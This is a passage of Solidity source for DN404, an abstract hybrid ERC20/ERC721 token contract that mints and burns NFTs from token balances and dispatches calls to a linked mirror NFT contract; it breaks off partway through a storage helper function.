// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title DN404
/// @notice DN404 is a hybrid ERC20 and ERC721 implementation that mints
/// and burns NFTs based on an account's ERC20 token balance.
///
/// @author vectorized.eth (@optimizoor)
/// @author Quit (@0xQuit)
/// @author Michael Amadi (@AmadiMichaels)
/// @author cygaar (@0xCygaar)
/// @author Thomas (@0xjustadev)
/// @author Harrison (@PopPunkOnChain)
///
/// @dev Note:
/// - The ERC721 data is stored in this base DN404 contract, however a
/// DN404Mirror contract ***MUST*** be deployed and linked during
/// initialization.
abstract contract DN404 {
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* EVENTS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Emitted when `amount` tokens is transferred from `from` to `to`.
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @dev Emitted when `amount` tokens is approved by `owner` to be used by `spender`.
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @dev Emitted when `target` sets their skipNFT flag to `status`.
event SkipNFTSet(address indexed target, bool status);
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* CUSTOM ERRORS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Thrown when attempting to double-initialize the contract.
error DNAlreadyInitialized();
/// @dev Thrown when attempting to transfer or burn more tokens than sender's balance.
error InsufficientBalance();
/// @dev Thrown when a spender attempts to transfer tokens with an insufficient allowance.
error InsufficientAllowance();
/// @dev Thrown when minting an amount of tokens that would overflow the max tokens.
error TotalSupplyOverflow();
/// @dev Thrown when the caller for a fallback NFT function is not the mirror contract.
error SenderNotMirror();
/// @dev Thrown when attempting to transfer tokens to the zero address.
error TransferToZeroAddress();
/// @dev Thrown when the mirror address provided for initialization is the zero address.
error MirrorAddressIsZero();
/// @dev Thrown when the link call to the mirror contract reverts.
error LinkMirrorContractFailed();
/// @dev Thrown when setting an NFT token approval
/// and the caller is not the owner or an approved operator.
error ApprovalCallerNotOwnerNorApproved();
/// @dev Thrown when transferring an NFT
/// and the caller is not the owner or an approved operator.
error TransferCallerNotOwnerNorApproved();
/// @dev Thrown when transferring an NFT and the from address is not the current owner.
error TransferFromIncorrectOwner();
/// @dev Thrown when checking the owner or approved address for an non-existent NFT.
error TokenDoesNotExist();
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* CONSTANTS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Amount of token balance that is equal to one NFT.
uint256 internal constant _WAD = 10 ** 18;
/// @dev The maximum token ID allowed for an NFT.
uint256 internal constant _MAX_TOKEN_ID = 0xffffffff;
/// @dev The maximum possible token supply.
uint256 internal constant _MAX_SUPPLY = 10 ** 18 * 0xffffffff - 1;
/// @dev The flag to denote that the address data is initialized.
uint8 internal constant _ADDRESS_DATA_INITIALIZED_FLAG = 1 << 0;
/// @dev The flag to denote that the address should skip NFTs.
uint8 internal constant _ADDRESS_DATA_SKIP_NFT_FLAG = 1 << 1;
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* STORAGE */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Struct containing an address's token data and settings.
struct AddressData {
// Auxiliary data.
uint88 aux;
// Flags for `initialized` and `skipNFT`.
uint8 flags;
// The alias for the address. Zero means absence of an alias.
uint32 addressAlias;
// The number of NFT tokens.
uint32 ownedLength;
// The token balance in wei.
uint96 balance;
}
/// @dev A uint32 map in storage.
struct Uint32Map {
mapping(uint256 => uint256) map;
}
/// @dev Struct containing the base token contract storage.
struct DN404Storage {
// Current number of address aliases assigned.
uint32 numAliases;
// Next token ID to assign for an NFT mint.
uint32 nextTokenId;
// Total supply of minted NFTs.
uint32 totalNFTSupply;
// Total supply of tokens.
uint96 totalSupply;
// Address of the NFT mirror contract.
address mirrorERC721;
// Mapping of a user alias number to their address.
mapping(uint32 => address) aliasToAddress;
// Mapping of user operator approvals for NFTs.
mapping(address => mapping(address => bool)) operatorApprovals;
// Mapping of NFT token approvals to approved operators.
mapping(uint256 => address) tokenApprovals;
// Mapping of user allowances for token spenders.
mapping(address => mapping(address => uint256)) allowance;
// Mapping of NFT token IDs owned by an address.
mapping(address => Uint32Map) owned;
// Even indices: owner aliases. Odd indices: owned indices.
Uint32Map oo;
// Mapping of user account AddressData
mapping(address => AddressData) addressData;
}
/// @dev Returns a storage pointer for DN404Storage.
function _getDN404Storage() internal pure virtual returns (DN404Storage storage $) {
/// @solidity memory-safe-assembly
assembly {
// `uint72(bytes9(keccak256("DN404_STORAGE")))`.
$.slot := 0xa20d6e21d0e5255308 // Truncate to 9 bytes to reduce bytecode size.
}
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* INITIALIZER */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Initializes the DN404 contract with an
/// `initialTokenSupply`, `initialTokenOwner` and `mirror` NFT contract address.
function _initializeDN404(
uint256 initialTokenSupply,
address initialSupplyOwner,
address mirror
) internal virtual {
DN404Storage storage $ = _getDN404Storage();
if ($.nextTokenId != 0) revert DNAlreadyInitialized();
if (mirror == address(0)) revert MirrorAddressIsZero();
_linkMirrorContract(mirror);
$.nextTokenId = 1;
$.mirrorERC721 = mirror;
if (initialTokenSupply > 0) {
if (initialSupplyOwner == address(0)) revert TransferToZeroAddress();
if (initialTokenSupply > _MAX_SUPPLY) revert TotalSupplyOverflow();
$.totalSupply = uint96(initialTokenSupply);
AddressData storage initialOwnerAddressData = _addressData(initialSupplyOwner);
initialOwnerAddressData.balance = uint96(initialTokenSupply);
emit Transfer(address(0), initialSupplyOwner, initialTokenSupply);
_setSkipNFT(initialSupplyOwner, true);
}
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* METADATA FUNCTIONS TO OVERRIDE */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the name of the token.
function name() public view virtual returns (string memory);
/// @dev Returns the symbol of the token.
function symbol() public view virtual returns (string memory);
/// @dev Returns the Uniform Resource Identifier (URI) for token `id`.
function tokenURI(uint256 id) public view virtual returns (string memory);
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* ERC20 OPERATIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the decimals places of the token. Always 18.
function decimals() public pure returns (uint8) {
return 18;
}
/// @dev Returns the amount of tokens in existence.
function totalSupply() public view virtual returns (uint256) {
return uint256(_getDN404Storage().totalSupply);
}
/// @dev Returns the amount of tokens owned by `owner`.
function balanceOf(address owner) public view virtual returns (uint256) {
return _getDN404Storage().addressData[owner].balance;
}
/// @dev Returns the amount of tokens that `spender` can spend on behalf of `owner`.
function allowance(address owner, address spender) public view returns (uint256) {
return _getDN404Storage().allowance[owner][spender];
}
/// @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
///
/// Emits a {Approval} event.
function approve(address spender, uint256 amount) public virtual returns (bool) {
DN404Storage storage $ = _getDN404Storage();
$.allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @dev Transfer `amount` tokens from the caller to `to`.
///
/// Will burn sender NFTs if balance after transfer is less than
/// the amount required to support the current NFT balance.
///
/// Will mint NFTs to `to` if the recipient's new balance supports
/// additional NFTs ***AND*** the `to` address's skipNFT flag is
/// set to false.
///
/// Requirements:
/// - `from` must at least have `amount`.
///
/// Emits a {Transfer} event.
function transfer(address to, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
/// @dev Transfers `amount` tokens from `from` to `to`.
///
/// Note: Does not update the allowance if it is the maximum uint256 value.
///
/// Will burn sender NFTs if balance after transfer is less than
/// the amount required to support the current NFT balance.
///
/// Will mint NFTs to `to` if the recipient's new balance supports
/// additional NFTs ***AND*** the `to` address's skipNFT flag is
/// set to false.
///
/// Requirements:
/// - `from` must at least have `amount`.
/// - The caller must have at least `amount` of allowance to transfer the tokens of `from`.
///
/// Emits a {Transfer} event.
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
DN404Storage storage $ = _getDN404Storage();
uint256 allowed = $.allowance[from][msg.sender];
if (allowed != type(uint256).max) {
if (amount > allowed) revert InsufficientAllowance();
unchecked {
$.allowance[from][msg.sender] = allowed - amount;
}
}
_transfer(from, to, amount);
return true;
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* INTERNAL MINT FUNCTIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Mints `amount` tokens to `to`, increasing the total supply.
///
/// Will mint NFTs to `to` if the recipient's new balance supports
/// additional NFTs ***AND*** the `to` address's skipNFT flag is
/// set to false.
///
/// Emits a {Transfer} event.
function _mint(address to, uint256 amount) internal virtual {
if (to == address(0)) revert TransferToZeroAddress();
DN404Storage storage $ = _getDN404Storage();
AddressData storage toAddressData = _addressData(to);
unchecked {
uint256 currentTokenSupply = uint256($.totalSupply) + amount;
if (amount > _MAX_SUPPLY || currentTokenSupply > _MAX_SUPPLY) {
revert TotalSupplyOverflow();
}
$.totalSupply = uint96(currentTokenSupply);
uint256 toBalance = toAddressData.balance + amount;
toAddressData.balance = uint96(toBalance);
if (toAddressData.flags & _ADDRESS_DATA_SKIP_NFT_FLAG == 0) {
Uint32Map storage toOwned = $.owned[to];
uint256 toIndex = toAddressData.ownedLength;
uint256 toEnd = toBalance / _WAD;
_PackedLogs memory packedLogs = _packedLogsMalloc(_zeroFloorSub(toEnd, toIndex));
if (packedLogs.logs.length != 0) {
uint256 maxNFTId = $.totalSupply / _WAD;
uint32 toAlias = _registerAndResolveAlias(toAddressData, to);
uint256 id = $.nextTokenId;
$.totalNFTSupply += uint32(packedLogs.logs.length);
toAddressData.ownedLength = uint32(toEnd);
// Mint loop.
do {
while (_get($.oo, _ownershipIndex(id)) != 0) {
if (++id > maxNFTId) id = 1;
}
_set(toOwned, toIndex, uint32(id));
_setOwnerAliasAndOwnedIndex($.oo, id, toAlias, uint32(toIndex++));
_packedLogsAppend(packedLogs, to, id, 0);
if (++id > maxNFTId) id = 1;
} while (toIndex != toEnd);
$.nextTokenId = uint32(id);
_packedLogsSend(packedLogs, $.mirrorERC721);
}
}
}
emit Transfer(address(0), to, amount);
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* INTERNAL BURN FUNCTIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Burns `amount` tokens from `from`, reducing the total supply.
///
/// Will burn sender NFTs if balance after transfer is less than
/// the amount required to support the current NFT balance.
///
/// Emits a {Transfer} event.
function _burn(address from, uint256 amount) internal virtual {
DN404Storage storage $ = _getDN404Storage();
AddressData storage fromAddressData = _addressData(from);
uint256 fromBalance = fromAddressData.balance;
if (amount > fromBalance) revert InsufficientBalance();
uint256 currentTokenSupply = $.totalSupply;
unchecked {
fromBalance -= amount;
fromAddressData.balance = uint96(fromBalance);
currentTokenSupply -= amount;
$.totalSupply = uint96(currentTokenSupply);
Uint32Map storage fromOwned = $.owned[from];
uint256 fromIndex = fromAddressData.ownedLength;
uint256 nftAmountToBurn = _zeroFloorSub(fromIndex, fromBalance / _WAD);
if (nftAmountToBurn != 0) {
$.totalNFTSupply -= uint32(nftAmountToBurn);
_PackedLogs memory packedLogs = _packedLogsMalloc(nftAmountToBurn);
uint256 fromEnd = fromIndex - nftAmountToBurn;
// Burn loop.
do {
uint256 id = _get(fromOwned, --fromIndex);
_setOwnerAliasAndOwnedIndex($.oo, id, 0, 0);
delete $.tokenApprovals[id];
_packedLogsAppend(packedLogs, from, id, 1);
} while (fromIndex != fromEnd);
fromAddressData.ownedLength = uint32(fromIndex);
_packedLogsSend(packedLogs, $.mirrorERC721);
}
}
emit Transfer(from, address(0), amount);
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* INTERNAL TRANSFER FUNCTIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Moves `amount` of tokens from `from` to `to`.
///
/// Will burn sender NFTs if balance after transfer is less than
/// the amount required to support the current NFT balance.
///
/// Will mint NFTs to `to` if the recipient's new balance supports
/// additional NFTs ***AND*** the `to` address's skipNFT flag is
/// set to false.
///
/// Emits a {Transfer} event.
function _transfer(address from, address to, uint256 amount) internal virtual {
if (to == address(0)) revert TransferToZeroAddress();
DN404Storage storage $ = _getDN404Storage();
AddressData storage fromAddressData = _addressData(from);
AddressData storage toAddressData = _addressData(to);
_TransferTemps memory t;
t.fromOwnedLength = fromAddressData.ownedLength;
t.toOwnedLength = toAddressData.ownedLength;
t.fromBalance = fromAddressData.balance;
if (amount > t.fromBalance) revert InsufficientBalance();
unchecked {
t.fromBalance -= amount;
fromAddressData.balance = uint96(t.fromBalance);
toAddressData.balance = uint96(t.toBalance = toAddressData.balance + amount);
t.nftAmountToBurn = _zeroFloorSub(t.fromOwnedLength, t.fromBalance / _WAD);
if (toAddressData.flags & _ADDRESS_DATA_SKIP_NFT_FLAG == 0) {
if (from == to) t.toOwnedLength = t.fromOwnedLength - t.nftAmountToBurn;
t.nftAmountToMint = _zeroFloorSub(t.toBalance / _WAD, t.toOwnedLength);
}
_PackedLogs memory packedLogs = _packedLogsMalloc(t.nftAmountToBurn + t.nftAmountToMint);
if (t.nftAmountToBurn != 0) {
Uint32Map storage fromOwned = $.owned[from];
uint256 fromIndex = t.fromOwnedLength;
uint256 fromEnd = fromIndex - t.nftAmountToBurn;
$.totalNFTSupply -= uint32(t.nftAmountToBurn);
fromAddressData.ownedLength = uint32(fromEnd);
// Burn loop.
do {
uint256 id = _get(fromOwned, --fromIndex);
_setOwnerAliasAndOwnedIndex($.oo, id, 0, 0);
delete $.tokenApprovals[id];
_packedLogsAppend(packedLogs, from, id, 1);
} while (fromIndex != fromEnd);
}
if (t.nftAmountToMint != 0) {
Uint32Map storage toOwned = $.owned[to];
uint256 toIndex = t.toOwnedLength;
uint256 toEnd = toIndex + t.nftAmountToMint;
uint32 toAlias = _registerAndResolveAlias(toAddressData, to);
uint256 maxNFTId = $.totalSupply / _WAD;
uint256 id = $.nextTokenId;
$.totalNFTSupply += uint32(t.nftAmountToMint);
toAddressData.ownedLength = uint32(toEnd);
// Mint loop.
do {
while (_get($.oo, _ownershipIndex(id)) != 0) {
if (++id > maxNFTId) id = 1;
}
_set(toOwned, toIndex, uint32(id));
_setOwnerAliasAndOwnedIndex($.oo, id, toAlias, uint32(toIndex++));
_packedLogsAppend(packedLogs, to, id, 0);
if (++id > maxNFTId) id = 1;
} while (toIndex != toEnd);
$.nextTokenId = uint32(id);
}
if (packedLogs.logs.length != 0) {
_packedLogsSend(packedLogs, $.mirrorERC721);
}
}
emit Transfer(from, to, amount);
}
/// @dev Transfers token `id` from `from` to `to`.
///
/// Requirements:
///
/// - Call must originate from the mirror contract.
/// - Token `id` must exist.
/// - `from` must be the owner of the token.
/// - `to` cannot be the zero address.
/// `msgSender` must be the owner of the token, or be approved to manage the token.
///
/// Emits a {Transfer} event.
function _transferFromNFT(address from, address to, uint256 id, address msgSender)
internal
virtual
{
DN404Storage storage $ = _getDN404Storage();
if (to == address(0)) revert TransferToZeroAddress();
address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
if (from != owner) revert TransferFromIncorrectOwner();
if (msgSender != from) {
if (!$.operatorApprovals[from][msgSender]) {
if (msgSender != $.tokenApprovals[id]) {
revert TransferCallerNotOwnerNorApproved();
}
}
}
AddressData storage fromAddressData = _addressData(from);
AddressData storage toAddressData = _addressData(to);
fromAddressData.balance -= uint96(_WAD);
unchecked {
toAddressData.balance += uint96(_WAD);
_set($.oo, _ownershipIndex(id), _registerAndResolveAlias(toAddressData, to));
delete $.tokenApprovals[id];
uint256 updatedId = _get($.owned[from], --fromAddressData.ownedLength);
_set($.owned[from], _get($.oo, _ownedIndex(id)), uint32(updatedId));
uint256 n = toAddressData.ownedLength++;
_set($.oo, _ownedIndex(updatedId), _get($.oo, _ownedIndex(id)));
_set($.owned[to], n, uint32(id));
_set($.oo, _ownedIndex(id), uint32(n));
}
emit Transfer(from, to, _WAD);
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* DATA HITCHHIKING FUNCTIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the auxiliary data for `owner`.
/// Minting, transferring, burning the tokens of `owner` will not change the auxiliary data.
/// Auxiliary data can be set for any address, even if it does not have any tokens.
function _getAux(address owner) internal view virtual returns (uint88) {
return _getDN404Storage().addressData[owner].aux;
}
/// @dev Set the auxiliary data for `owner` to `value`.
/// Minting, transferring, burning the tokens of `owner` will not change the auxiliary data.
/// Auxiliary data can be set for any address, even if it does not have any tokens.
function _setAux(address owner, uint88 value) internal virtual {
_getDN404Storage().addressData[owner].aux = value;
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* SKIP NFT FUNCTIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns true if account `a` will skip NFT minting on token mints and transfers.
/// Returns false if account `a` will mint NFTs on token mints and transfers.
function getSkipNFT(address a) public view virtual returns (bool) {
AddressData storage d = _getDN404Storage().addressData[a];
if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) return _hasCode(a);
return d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0;
}
/// @dev Sets the caller's skipNFT flag to `skipNFT`
///
/// Emits a {SkipNFTSet} event.
function setSkipNFT(bool skipNFT) public virtual {
_setSkipNFT(msg.sender, skipNFT);
}
/// @dev Internal function to set account `a` skipNFT flag to `state`
///
/// Initializes account `a` AddressData if it is not currently initialized.
///
/// Emits a {SkipNFTSet} event.
function _setSkipNFT(address a, bool state) internal virtual {
AddressData storage d = _addressData(a);
if ((d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0) != state) {
d.flags ^= _ADDRESS_DATA_SKIP_NFT_FLAG;
}
emit SkipNFTSet(a, state);
}
/// @dev Returns a storage data pointer for account `a` AddressData
///
/// Initializes account `a` AddressData if it is not currently initialized.
function _addressData(address a) internal virtual returns (AddressData storage d) {
DN404Storage storage $ = _getDN404Storage();
d = $.addressData[a];
if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) {
uint8 flags = _ADDRESS_DATA_INITIALIZED_FLAG;
if (_hasCode(a)) flags |= _ADDRESS_DATA_SKIP_NFT_FLAG;
d.flags = flags;
}
}
/// @dev Returns the `addressAlias` of account `to`.
///
/// Assigns and registers the next alias if `to` alias was not previously registered.
function _registerAndResolveAlias(AddressData storage toAddressData, address to)
internal
virtual
returns (uint32 addressAlias)
{
DN404Storage storage $ = _getDN404Storage();
addressAlias = toAddressData.addressAlias;
if (addressAlias == 0) {
addressAlias = ++$.numAliases;
toAddressData.addressAlias = addressAlias;
$.aliasToAddress[addressAlias] = to;
}
}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* MIRROR OPERATIONS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Returns the address of the mirror NFT contract.
function mirrorERC721() public view virtual returns (address) {
return _getDN404Storage().mirrorERC721;
}
/// @dev Returns the total NFT supply.
function _totalNFTSupply() internal view virtual returns (uint256) {
return _getDN404Storage().totalNFTSupply;
}
/// @dev Returns `owner` NFT balance.
function _balanceOfNFT(address owner) internal view virtual returns (uint256) {
return _getDN404Storage().addressData[owner].ownedLength;
}
/// @dev Returns the owner of token `id`.
/// Returns the zero address instead of reverting if the token does not exist.
function _ownerAt(uint256 id) internal view virtual returns (address) {
DN404Storage storage $ = _getDN404Storage();
return $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
}
/// @dev Returns the owner of token `id`.
///
/// Requirements:
/// - Token `id` must exist.
function _ownerOf(uint256 id) internal view virtual returns (address) {
if (!_exists(id)) revert TokenDoesNotExist();
return _ownerAt(id);
}
/// @dev Returns if token `id` exists.
function _exists(uint256 id) internal view virtual returns (bool) {
return _ownerAt(id) != address(0);
}
/// @dev Returns the account approved to manage token `id`.
///
/// Requirements:
/// - Token `id` must exist.
function _getApproved(uint256 id) internal view virtual returns (address) {
if (!_exists(id)) revert TokenDoesNotExist();
return _getDN404Storage().tokenApprovals[id];
}
/// @dev Sets `spender` as the approved account to manage token `id`, using `msgSender`.
///
/// Requirements:
/// - `msgSender` must be the owner or an approved operator for the token owner.
function _approveNFT(address spender, uint256 id, address msgSender)
internal
virtual
returns (address)
{
DN404Storage storage $ = _getDN404Storage();
address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
if (msgSender != owner) {
if (!$.operatorApprovals[owner][msgSender]) {
revert ApprovalCallerNotOwnerNorApproved();
}
}
$.tokenApprovals[id] = spender;
return owner;
}
/// @dev Approve or remove the `operator` as an operator for `msgSender`,
/// without authorization checks.
function _setApprovalForAll(address operator, bool approved, address msgSender)
internal
virtual
{
_getDN404Storage().operatorApprovals[msgSender][operator] = approved;
}
/// @dev Calls the mirror contract to link it to this contract.
///
/// Reverts if the call to the mirror contract reverts.
function _linkMirrorContract(address mirror) internal virtual {
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, 0x0f4599e5) // `linkMirrorContract(address)`.
mstore(0x20, caller())
if iszero(and(eq(mload(0x00), 1), call(gas(), mirror, 0, 0x1c, 0x24, 0x00, 0x20))) {
mstore(0x00, 0xd125259c) // `LinkMirrorContractFailed()`.
revert(0x1c, 0x04)
}
}
}
/// @dev Fallback modifier to dispatch calls from the mirror NFT contract
/// to internal functions in this contract.
modifier dn404Fallback() virtual {
DN404Storage storage $ = _getDN404Storage();
uint256 fnSelector = _calldataload(0x00) >> 224;
// `isApprovedForAll(address,address)`.
if (fnSelector == 0xe985e9c5) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x44) revert();
address owner = address(uint160(_calldataload(0x04)));
address operator = address(uint160(_calldataload(0x24)));
_return($.operatorApprovals[owner][operator] ? 1 : 0);
}
// `ownerOf(uint256)`.
if (fnSelector == 0x6352211e) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x24) revert();
uint256 id = _calldataload(0x04);
_return(uint160(_ownerOf(id)));
}
// `transferFromNFT(address,address,uint256,address)`.
if (fnSelector == 0xe5eb36c8) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x84) revert();
address from = address(uint160(_calldataload(0x04)));
address to = address(uint160(_calldataload(0x24)));
uint256 id = _calldataload(0x44);
address msgSender = address(uint160(_calldataload(0x64)));
_transferFromNFT(from, to, id, msgSender);
_return(1);
}
// `setApprovalForAll(address,bool,address)`.
if (fnSelector == 0x813500fc) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x64) revert();
address spender = address(uint160(_calldataload(0x04)));
bool status = _calldataload(0x24) != 0;
address msgSender = address(uint160(_calldataload(0x44)));
_setApprovalForAll(spender, status, msgSender);
_return(1);
}
// `approveNFT(address,uint256,address)`.
if (fnSelector == 0xd10b6e0c) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x64) revert();
address spender = address(uint160(_calldataload(0x04)));
uint256 id = _calldataload(0x24);
address msgSender = address(uint160(_calldataload(0x44)));
_return(uint160(_approveNFT(spender, id, msgSender)));
}
// `getApproved(uint256)`.
if (fnSelector == 0x081812fc) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x24) revert();
uint256 id = _calldataload(0x04);
_return(uint160(_getApproved(id)));
}
// `balanceOfNFT(address)`.
if (fnSelector == 0xf5b100ea) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x24) revert();
address owner = address(uint160(_calldataload(0x04)));
_return(_balanceOfNFT(owner));
}
// `totalNFTSupply()`.
if (fnSelector == 0xe2c79281) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x04) revert();
_return(_totalNFTSupply());
}
// `implementsDN404()`.
if (fnSelector == 0xb7a94eb8) {
_return(1);
}
_;
}
/// @dev Fallback function for calls from mirror NFT contract.
fallback() external payable virtual dn404Fallback {}
receive() external payable virtual {}
/*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
/* PRIVATE HELPERS */
/*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
/// @dev Struct containing packed log data for `Transfer` events to be
/// emitted by the mirror NFT contract.
struct _PackedLogs {
uint256[] logs;
uint256 offset;
}
/// @dev Initiates memory allocation for packed logs with `n` log items.
function _packedLogsMalloc(uint256 n) private pure returns (_PackedLogs memory p) {
/// @solidity memory-safe-assembly
assembly {
let logs := add(mload(0x40), 0x40) // Offset by 2 words for `_packedLogsSend`.
mstore(logs, n)
let offset := add(0x20, logs)
mstore(0x40, add(offset, shl(5, n)))
mstore(p, logs)
mstore(add(0x20, p), offset)
}
}
/// @dev Adds a packed log item to `p` with address `a`, token `id` and burn flag `burnBit`.
function _packedLogsAppend(_PackedLogs memory p, address a, uint256 id, uint256 burnBit)
private
pure
{
/// @solidity memory-safe-assembly
assembly {
let offset := mload(add(0x20, p))
mstore(offset, or(or(shl(96, a), shl(8, id)), burnBit))
mstore(add(0x20, p), add(offset, 0x20))
}
}
/// @dev Calls the `mirror` NFT contract to emit Transfer events for packed logs `p`.
function _packedLogsSend(_PackedLogs memory p, address mirror) private {
/// @solidity memory-safe-assembly
assembly {
let logs := mload(p)
let o := sub(logs, 0x40) // Start of calldata to send.
mstore(o, 0x263c69d6) // `logTransfer(uint256[])`.
mstore(add(o, 0x20), 0x20) // Offset of `logs` in the calldata to send.
let n := add(0x44, shl(5, mload(logs))) // Length of calldata to send.
if iszero(and(eq(mload(o), 1), call(gas(), mirror, 0, add(o, 0x1c), n, o, 0x20))) {
revert(o, 0x00)
}
}
}
/// @dev Struct of temporary variables for transfers.
struct _TransferTemps {
uint256 nftAmountToBurn;
uint256 nftAmountToMint;
uint256 fromBalance;
uint256 toBalance;
uint256 fromOwnedLength;
uint256 toOwnedLength;
}
/// @dev Returns if `a` has bytecode of non-zero length.
function _hasCode(address a) private view returns (bool result) {
/// @solidity memory-safe-assembly
assembly {
result := extcodesize(a) // Can handle dirty upper bits.
}
}
/// @dev Returns the calldata value at `offset`.
function _calldataload(uint256 offset) private pure returns (uint256 value) {
/// @solidity memory-safe-assembly
assembly {
value := calldataload(offset)
}
}
/// @dev Executes a return opcode to return `x` and end the current call frame.
function _return(uint256 x) private pure {
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, x)
return(0x00, 0x20)
}
}
/// @dev Returns `max(0, x - y)`.
function _zeroFloorSub(uint256 x, uint256 y) private pure returns (uint256 z) {
/// @solidity memory-safe-assembly
assembly {
z := mul(gt(x, y), sub(x, y))
}
}
/// @dev Returns `i << 1`.
function _ownershipIndex(uint256 i) private pure returns (uint256) {
return i << 1;
}
/// @dev Returns `(i << 1) + 1`.
function _ownedIndex(uint256 i) private pure returns (uint256) {
unchecked {
return (i << 1) + 1;
}
}
/// @dev Returns the uint32 value at `index` in `map`.
function _get(Uint32Map storage map, uint256 index) private view returns (uint32 result) {
result = uint32(map.map[index >> 3] >> ((index & 7) << 5));
}
/// @dev Updates the uint32 value at `index` in `map`.
function _set(Uint32Map storage map, uint256 index, uint32 value) private {
/// @solidity memory-safe-assembly
assembly {
mstore(0x20, map.slot)
mstore(0x00, shr(3, index))
let s := keccak256(0x00, 0x40) // Storage slot.
let o := shl(5, and(index, 7)) // Storage slot offset (bits).
let v := sload(s) // Storage slot value.
let m := 0xffffffff // Value mask.
sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
}
}
/// @dev Sets the owner alias and the owned index together.
function _setOwnerAliasAndOwnedIndex(
Uint32Map storage map,
uint256 id,
uint32 ownership,
uint32 ownedIndex
) private {
/// @solidity memory-safe-assembly
assembly {
